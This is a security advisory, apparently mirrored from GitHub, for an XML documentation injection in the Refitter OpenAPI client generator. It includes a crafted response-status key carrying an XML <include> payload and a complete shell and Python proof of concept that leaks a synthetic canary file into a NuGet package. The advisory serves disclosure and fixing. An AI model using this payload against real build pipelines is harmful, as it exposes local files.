# GHSA-R2HQ-86CH-HF3X: Unescaped response status in XML documentation exposes local XML files

- Database: GitHub
- Severity: medium (stated by ghsa, no CVSS score)
- Published: 2026-11-22
- Modified: 2026-11-22

## Affected versions

- Refitter.Core (NuGet): through 2.4.1
- Refitter (NuGet): through 2.4.1
- Refitter.MSBuild (NuGet): through 2.4.1
- Refitter.SourceGenerator (NuGet): through 2.4.1

## Description

# Unescaped response status in XML documentation exposes local XML files

## Summary

An attacker-controlled OpenAPI response-status key is appended unescaped inside generated XML documentation. When a consumer enables XML documentation generation and packs the resulting library, an XML `<include>` injected through that key can make the package documentation contain the selected local XML file. A controlled attack/control reproduction confirmed the canary in the attack NuGet package and absent from the control package.

## Technical Details

The shipped CLI accepts a root OpenAPI document through `Program.Main` and routes it through `GenerateCommand.ExecuteAsync`, `GenerationOrchestrator.RunAsync`, `RefitterRunner.RunAsync`, and `RefitGenerator.CreateAsync` to `XmlDocumentationGenerator.BuildResponseDescription`. For each response, that method appends `response.StatusCode` directly between `<term>` and `</term>` in a generated XML documentation comment. A response-map key is attacker-controlled document data; default CLI validation accepted the test document.

The unescaped value can close the status term and add an XML `<include>` element. The C# documentation build resolves that include from a local XML file. With `GenerateDocumentationFile=true`, the consuming project’s XML documentation contains the included text; `dotnet pack` carries it into `lib/net11.0/Package.xml`. This is unintended for a response status and crosses from untrusted API metadata into local build-file contents distributed with the package.

The vulnerable append is present at revision `bf77ef633cd182563748fd7828e2d06bb24e1dd5`. The same method in the 2.4.0 release tag has the raw append, and the file has no changes between that tag and the pinned revision. The tested CLI generation and package build were performed from the pinned revision.

## PoV

The source sink is:

```csharp
description
    .AppendLine("<item>")
    .Append("<term>")
    .Append(response.StatusCode)
    .AppendLine("</term>");
```

A minimal attacker-controlled response key is:

```json
"200</term><description><include file=\"${TMP}/synthetic-secret.xml\" path=\"/doc/members/member[@name='M:Canary']/summary\" /></description><term>200"
```

The control uses the ordinary key `"200"`. The referenced XML file contains:

```xml
<doc><members><member name="M:Canary"><summary>SYNTHETIC_XML_INCLUDE_SECRET_20261120</summary></member></members></doc>
```

## PoC

A clean reproduction requires Git, .NET SDK 11.0.100, Python 3, and a reachable NuGet feed. The commands below create a temporary checkout at the pinned revision, run from that checkout's root, and keep generated files under `TMP`. Set `NUGET_SOURCE` to an HTTPS NuGet feed if the default feed is not appropriate for your environment.

```sh
set -eu
TMP="$(mktemp -d)"
NUGET_SOURCE="${NUGET_SOURCE:-https://api.nuget.org/v3/index.json}"
export TMP NUGET_SOURCE

git clone https://github.com/christianhelle/refitter.git "$TMP/refitter"
git -C "$TMP/refitter" checkout bf77ef633cd182563748fd7828e2d06bb24e1dd5
cd "$TMP/refitter"

dotnet restore src/Refitter/Refitter.csproj \
  --source "$NUGET_SOURCE" \
  --property:NoWarn=NU1510 \
  --property:NuGetAudit=false --verbosity quiet

cat > "$TMP/synthetic-secret.xml" <<'XML'
<doc><members><member name="M:Canary"><summary>SYNTHETIC_XML_INCLUDE_SECRET_20261120</summary></member></members></doc>
XML

cat > "$TMP/attack-openapi.json" <<JSON
{
  "openapi": "3.0.1",
  "info": { "title": "XmlIncludePackageProbe", "version": "1.0" },
  "paths": {
    "/probe": {
      "get": {
        "operationId": "getProbe",
        "responses": {
          "200</term><description><include file=\"$TMP/synthetic-secret.xml\" path=\"/doc/members/member[@name='M:Canary']/summary\" /></description><term>200": {
            "description": "ok",
            "content": { "application/json": { "schema": { "type": "string" } } }
          }
        }
      }
    }
  }
}
JSON

cat > "$TMP/control-openapi.json" <<'JSON'
{
  "openapi": "3.0.1",
  "info": { "title": "XmlIncludePackageProbe", "version": "1.0" },
  "paths": {
    "/probe": {
      "get": {
        "operationId": "getProbe",
        "responses": {
          "200": {
            "description": "ok",
            "content": { "application/json": { "schema": { "type": "string" } } }
          }
        }
      }
    }
  }
}
JSON

for mode in attack control; do
  generated="$TMP/generated-$mode"
  package_dir="$TMP/package-$mode"
  package_output="$TMP/package-output/$mode"
  mkdir -p "$package_dir" "$package_output"
  dotnet run --project src/Refitter/Refitter.csproj \
    --framework net11.0 --no-restore --no-launch-profile -- \
    "$TMP/$mode-openapi.json" --multiple-files \
    --output "$generated" --no-logging
  cp "$generated"/*.cs "$package_dir"/
  cat > "$package_dir/Package.csproj" <<'PROJECT'
<Project Sdk="Microsoft.NET.Sdk">
  <PropertyGroup>
    <TargetFramework>net11.0</TargetFramework>
    <PackageId>XmlIncludePackageProbe</PackageId>
    <Version>1.0.0</Version>
    <GenerateDocumentationFile>true</GenerateDocumentationFile>
    <NoWarn>$(NoWarn);1591</NoWarn>
    <NuGetAudit>false</NuGetAudit>
  </PropertyGroup>
  <ItemGroup>
    <PackageReference Include="Refit" Version="17.0.0" />
  </ItemGroup>
</Project>
PROJECT
  sed -i "s#<PackageId>XmlIncludePackageProbe</PackageId>#<PackageId>XmlIncludePackageProbe-$mode</PackageId>#" "$package_dir/Package.csproj"
  dotnet restore "$package_dir/Package.csproj" --source "$NUGET_SOURCE" \
    --property:NuGetAudit=false --verbosity quiet
  dotnet pack "$package_dir/Package.csproj" --configuration Release \
    --no-restore --output "$package_output" --verbosity quiet
done

python3 - <<'PYTHON'
import os
from pathlib import Path
from zipfile import ZipFile

canary = b"SYNTHETIC_XML_INCLUDE_SECRET_20261120"
entry = "lib/net11.0/Package.xml"
root = Path(os.environ["TMP"])
for mode in ("attack", "control"):
    packages = sorted((root / "package-output" / mode).glob("*.nupkg"))
    if len(packages) != 1:
        raise SystemExit(f"expected one {mode} package, found {len(packages)}")
    with ZipFile(packages[0]) as package:
        present = canary in package.read(entry)
    print(f"xml_entry={entry} canary_present={str(present).lower()}")
PYTHON
```

The inspector prints the following lines, respectively for the attack and numeric-status control package:

```text
xml_entry=lib/net11.0/Package.xml canary_present=true
xml_entry=lib/net11.0/Package.xml canary_present=false
```

Both modes use the same checkout, restore source, CLI, generated-source copy, consumer project settings, and pack command; only the response-map key and resulting package ID differ.

## Impact

In a supported unattended SDK publishing pipeline that fetches attacker-controlled OpenAPI without per-document review, enables `GenerateDocumentationFile`, packs and publishes the library, and exposes the package to the attacker, the attacker can retrieve contents of a reachable local XML file through the package documentation. The experiment used a synthetic canary, not a real secret; exploitation also requires a well-formed XML include target whose path and XPath are known and reachable to the build.

The base CVSS 3.1 vector is `CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N` (6.1 Medium). The requested High label is conditional on the unattended publishing environment above: with `MAC:L` and `MUI:N`, the environmental vector is `CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N/E:X/RL:X/RC:X/CR:M/IR:M/AR:M/MAV:X/MAC:L/MPR:X/MUI:N/MS:X/MC:X/MI:X/MA:X` (7.7 High). This is not a High base score and does not apply to every installation; a maintainer may lower the rating to Medium if they prefer the base score.

## Suggested Fix

Validate response-status keys against supported HTTP status values before documentation generation, and XML-escape any value emitted as XML text. Add a regression test that supplies an include-bearing response key, builds a consumer with XML documentation enabled, and confirms the generated documentation contains escaped text rather than resolving a local file. Keep a numeric-status control in that test.

## Affected Package/Versions

- Package: NuGet `Refitter`.
- Affected version stated here: `2.4.0`, whose tagged source contains the vulnerable append; the same implementation is present at the tested pinned revision.
- No patched version for this response-status XML documentation sink was identified in the checked sources.

## Advisory History

Related public work addresses other XML and resolution behavior. [PR #890](https://github.com/christianhelle/refitter/pull/890) escaped XML used for interface and method summaries. [Issue #944](https://github.com/christianhelle/refitter/issues/944) and [PR #947](https://github.com/christianhelle/refitter/pull/947) address Unicode decoding in response-description text in generated XML status comments, not XML markup injected through a response-status key. [GHSA-x6w4-f264-3vvr](https://github.com/advisories/GHSA-x6w4-f264-3vvr) and [GHSA-4f49-pm8q-mx4f](https://github.com/advisories/GHSA-4f49-pm8q-mx4f) concern `$ref` resolution behavior. These changes and advisories do not cover a response-status key expanded as an XML `<include>` during package generation.

[PR #948](https://github.com/christianhelle/refitter/pull/948) added XML escaping or sanitization for response-description text: `ExceptionDescription` passes through `SanitizeResponseDescription`. The reported sink is separate: `response.StatusCode` is appended raw in `BuildResponseDescription`.

[Issue #1035](https://github.com/christianhelle/refitter/issues/1035) and its closing [PR #1064](https://github.com/christianhelle/refitter/pull/1064) concern unescaped OpenAPI parameter and dynamic-querystring descriptions. That earlier issue is separate from the raw response-status-key append in `BuildResponseDescription`, which can become XML `<include>` processing during package builds.

Other Refitter advisories address separate inputs and output sinks. [GHSA-h924-jfhp-9vjr](https://github.com/advisories/GHSA-h924-jfhp-9vjr) covers schema property names, discriminator fields, defaults, and enum values emitted into C# literals. [GHSA-3fhm-p725-h3g3](https://github.com/advisories/GHSA-3fhm-p725-h3g3) covers OpenAPI path keys, [GHSA-58x9-vjvp-6mx8](https://github.com/advisories/GHSA-58x9-vjvp-6mx8) covers header parameter names, and [GHSA-p32v-8v8j-j534](https://github.com/advisories/GHSA-p32v-8v8j-j534) covers content-type keys, each in Refit attribute generation. Merged [PR #1178](https://github.com/christianhelle/refitter/pull/1178) addressed those attribute sinks with escaping and validation; it does not change the response-status append in `BuildResponseDescription` at the pinned revision.

No prior report of this issue was submitted, prepared for review, or completed but unsubmitted. No public report of this exact XML-documentation sink was identified. In the package-generation comparison, the included canary appeared in the attack package and not in the numeric-status control package.
## References

- [Response documentation generation at the tested revision](https://github.com/christianhelle/refitter/blob/bf77ef633cd182563748fd7828e2d06bb24e1dd5/src/Refitter.Core/CodeGeneration/XmlDocumentationGenerator.cs#L288-L321)
- [Refitter 2.4.0 release](https://github.com/christianhelle/refitter/releases/tag/2.4.0)
- [PR #1178](https://github.com/christianhelle/refitter/pull/1178)
- [GHSA-3fhm-p725-h3g3](https://github.com/advisories/GHSA-3fhm-p725-h3g3), [GHSA-58x9-vjvp-6mx8](https://github.com/advisories/GHSA-58x9-vjvp-6mx8), [GHSA-p32v-8v8j-j534](https://github.com/advisories/GHSA-p32v-8v8j-j534)
- [FIRST CVSS v3.1 specification](https://www.first.org/cvss/v3.1/specification-document)

## References

- https://github.com/christianhelle/refitter/security/advisories/GHSA-r2hq-86ch-hf3x

Page: https://cve.now/GHSA-R2HQ-86CH-HF3X

Wrong or missing data? Send feedback: POST https://cve.now/api/v1/feedback (see https://cve.now/agents#feedback).
